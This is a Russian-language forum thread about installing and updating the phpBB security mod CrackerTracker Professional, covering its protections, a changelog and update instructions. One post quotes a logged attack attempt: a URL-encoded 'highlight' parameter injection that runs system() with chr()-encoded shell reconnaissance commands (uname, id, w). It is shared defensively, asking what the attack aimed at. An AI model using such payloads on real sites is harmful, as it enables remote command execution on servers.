MOD Cracker Tracker Professional

[Smayliks]

а в быстоответе таки кнопочки "отправить" нет...

уже есть. Просто пост с логами был очень широкий, а кнопочки по центру. =))) (сам на этом попался =))) )

[Romiyo]

AlexWB да да, я уже установил, разобрался и понял что к чему Мощный агрегат, однако

з.ы. а кнопашка есть. пишу через QR

[AlexWB]

Smayliks, Romiyo точно, с кнопкой притормозил, сори
но со скоростью загрузи у меня точно что-то не то...
только у меня?

[Xpert]

Уже есть. Глюк был только в этой теме, чересчур длинный контент я уже удалил...

[Мастер Федя]

Замечательный мод! Легко и просто установился и работает отлично!

[Siava]

Только от чего конкретно он защищает?
1. поиск можно проводить раз в 30 сек.
2. регистрацию тоже раз в 30 сек.
3. Защита config.php
4. Защита от всяких атак с использованием highlight...
А что ещё?

[Xpert]

От потенциально небезопасных символов в запросе например.

[Romiyo]

Подскажите пожалуйста, переделку, чтобы не просто цифру задержки показывала, а вёлся реальный отщёт времени - 29... 28... 27... 26... и т.д.

[Joss]

Ну можно просто страницу перезагружать каждую секунду.

[Romiyo]

Ну можно просто страницу перезагружать каждую секунду

гы, вот кстати я по этому поводу и зашёл сюда щас =)

Мод не идеален, ибо ни индекс, ни вьювпрофайл, ни хуизонлайн, ни тем более вьювтопик, не защищены от Ф5, что ни есть гуд.

Более того, глюк наблюдаю на странице отчёта по изменённым файлам:

viewtopic.php изменён;
index.php НЕизменён...

хотя на деле как раз наоборот... хотя это мог быть и глюк (кэша, например)

И вообще, мод мог бы тогда уж контроллировать ВСЕ файлы, а не только .пхп, валяющиеся в корне форума...

[Мастер Федя]

Вот такую бяку обнаружил в логах!

Попытка атаки

Код: Выделить всё

t=4&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)%252echr(97)%252echr(59)%252echr(32)%252echr(105)%252echr(100)%252echr(59)%252echr(32)%252echr(119)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527


Интересно, что хотели этим добиться?

[Joss]

Romiyo
Может это все запостить на сайт разработчика?

[Siava]

4-я версия супер! Добавлено немного интересных настроек и функций

## 2005-11-30 - Version 4.0.0
## - Completely new Release and completely recoded
## - Name: "CrackerTracker Professional 2nd Edition"
## - Many new Features added
## - Anti Spammer System and Spamming Detector
## - Fully Configurable over ACP
## - Nice Admin Features added
## - 3-Steps Security Scanner with CBACK PCSE
## - Fast Proxy- and IP Blocker
## - Improved Style System
## - Performant Counter
## - and many, many more

[Joss]

Кто-нибудь обновлял 3x до 4x?
Меня очень смутило описание update:

Код: Выделить всё

#
#-----[ DELETE ]------------------------------------------
#
  Delte all Files from the old version:
    - ctracker/*.*
    - ctracker (the folder itself)
    - admin/admin_ctracker_idetect.php
    - admin/admin_ctracker_logfile.php
    - admin/admin_ctracker_settings.php
    - admin/ctrack_stat_log.php
    - admin/ctrack_stat_login.php


#
#-----[ REMOVE OLD THINGS FROM DATABASE ]------------------------------------------
#
DROP TABLE phpbb_cracktrack;
ALTER TABLE phpbb_users DROP ct_search;


#
#-----[ DO ]------------------------------------------
#
  Please do everything from the file install.txt after you have done this Script!

...


Особенно последняя строчка - "Please do everything from the file install.txt after you have done this Script!"

[Kastaneda]

Кто-нибудь обновлял 3x до 4x?

Я обновлял. В файле update_3x_to_4x.txt указано как удалить старую версию. Ну и далее

Please do everything from the file install.txt after you have done this Script!

Именно инструкции файла install.txt и нужно выполнять. А что смутило то?